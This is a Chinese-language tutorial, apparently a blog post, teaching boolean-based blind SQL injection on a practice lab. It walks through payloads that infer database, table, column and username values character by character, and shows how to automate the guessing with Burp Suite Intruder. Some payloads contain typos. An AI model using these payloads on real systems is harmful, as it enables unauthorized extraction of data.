一、SQL注入类型
1、基于union的联合注入
2、报错注入
3、盲注注入
(1)布尔盲注
(2)基于时间的盲注
上两章我们了解了联合注入和报错注入,这章我们看一看比较困难并且需要使用工具的盲注。
二、什么是布尔盲注
布尔盲注适用于无回显的情况,只有通过true或false及页面是否正常来判断所输入内容是否正确
三、开始布尔盲注
1、判断输入是否有闭合符
2、判断闭合符
3、查询当前数据库库名
4、查询指定库的所有表
5、查询字段名
6、查询字段内容
1、判断输入是否有闭合符
payload:
id=1 and 1=2
如果显示you are in 表示成功进入,则存在闭合符,即是字符型,因为1=2 这个假命题被当成一个字符串处理而不是判断语句。
2、判断闭合符
- 首先猜闭合符,例如 猜 ') 如果没显示you are in 表示猜中了一部分
- 然后把 ') 的一部分去掉变成 ' ,此时显示you are in 说明猜中了,闭合符就是 '

3、判断当前数据库
(1)判断数据库名长度
判断当前数据库名长度(知道数据库名长度就可以减少爆破时的攻击次数,大大减少网页瘫痪或者被对手发现的可能)
id=1' and length(database()) =n --+ --n是指猜的数字
(2)猜数据库名
知道了数据库名长度是8,我们也可以通过同样的方法,通过是否能进入页面判断这个数据库名
id=1' and substr(database(),1,1)='s' --+
布尔盲注主要靠猜!当我们输入的东西猜对了,页面就显示you are in,如果没猜对就啥也不显示,当我们想知道数据库库名时,就截取指定库的第一个字母从A-Z逐个猜,这种没有技术含量但重复性很大的事,我们可以交给一个程序 Burp Suite进行爆破 , 我们还需要一个FoxyProxy代理。
(3) Burp Suite进行爆破。
当我们将FoxyProxy打开,把代理权给Burp Suite,打开Burp Suite进行抓包。这个包就是我们猜数据库名的那条指令。
将这个包发送到intruder进行爆破
爆破类型我们是多个位置爆破所以选择Cluster bomb,因为我们需要爆破的有两个位置分别是
- 数据库名的第几位
- 数据库名
所以我们把这两个位置选中 add
接下来我们为这两个位置写字典
因为字典一是代表数据库名的第几个字母,我们已经知道数据库名是8个字母组成,所以字典一的内容就是1-8。字典二是爆破数据库名,数据库名是由字母组成所以字典二是字母a-z。
设置好字典以后就可以开始爆破了。爆破成功后排序就可以得到数据库名:security.
4、判断指定库的所有表
(1)判断当前库有多少个表
id=1' and (select count(table_name) from information_schema.tables
where table_schema='security')=4 -- -
(2)判断指定库中表名最多有几个字母
id=1' and length((select table_name from information_scheam.tables
where table_schema=database() limit 0,1))=6 -- -
(3)Burp Suite进行爆破。
爆破位置:?id=1 and substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1)='a'
字典一:security库中有4个表,所以字典一内容是0-3
字典二:指定库中最长表名有n个字母,所以字典二内容是1-n(可以挨个试试看看最长是几位,我在爆破时直接取了20)
字典三:指定表的表名,所以字典内容是字母a-z
?id=1 and substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1)='a'-- -
5、判断指定库指定表的字段
(1)判断指定表中有几个字段
id=1' and (select count(column_name) from information_schema.columns
where table_schema='security' and table_name='users')=3 -- -
(2)判断指定库的指定表中字段最多有几个字母
id=1' and length((select column_name from information_scheam.columns
where table_schema=database() and table_name='users' limit 0,1))=2 -- -
(3) Burp Suite进行爆破。
爆破位置:?id=1 and substr((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1),1,1)='a'-- -
字典一:security库中的users表中有三个字段,所以字典一的内容是0-2
字典二:指定字段名最多有n个字母(我没有尝试最多有几个字母因为是靶场不存在因攻击数量太大产生的负面影响,所以字典二的内容我写的是1-20)
字典三:指定库的指定表的字段名,所以字典三的内容是字母a-z
?id=1 and substr((select column_name from information_schema.columns
where table_schema=database() and table_name=’users’ limit 0,1),1,1)='a'-- -
6、爆破内容
(1)判断内容中有几个用户
id=1' and (select count(username) from security.users)=13 -- -
(2)判断内容名有最多有几个字母
id=1' and length((select username from security.users limit 0,1))=4 -- -
(3) Burp Suite进行爆破。
爆破位置:?id=1 and substr((select username from security.users limit 0,1),1,1)='a'-- -
?id=1 and substr((select username from security.users limit 0,1),1,1)=’a’-- -